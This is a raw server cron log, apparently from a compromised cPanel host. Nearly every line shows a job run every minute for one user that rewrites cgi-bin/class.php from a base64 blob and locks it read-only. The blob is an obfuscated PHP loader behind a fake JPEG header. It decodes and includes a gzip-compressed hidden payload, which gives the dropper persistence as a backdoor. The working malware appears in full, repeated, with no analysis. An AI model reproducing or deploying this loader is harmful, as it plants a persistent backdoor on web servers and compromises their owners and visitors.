Nov 11 08:47:01 server CROND[31880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:48:01 server CROND[32538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:49:01 server CROND[912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:50:01 server CROND[1745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:50:01 server CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 08:50:01 server CROND[1749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:50:01 server CROND[1747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:50:01 server CROND[1750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:51:01 server CROND[2680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:52:01 server CROND[3323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:53:01 server CROND[4158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:54:01 server CROND[4989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:55:01 server CROND[5834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:55:01 server CROND[5835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:55:01 server CROND[5836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:56:01 server CROND[6530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:57:01 server CROND[7358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:57:01 server CROND[7361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:58:01 server CROND[8216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:59:01 server CROND[9258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:00:01 server CROND[10001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:00:01 server CROND[10003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
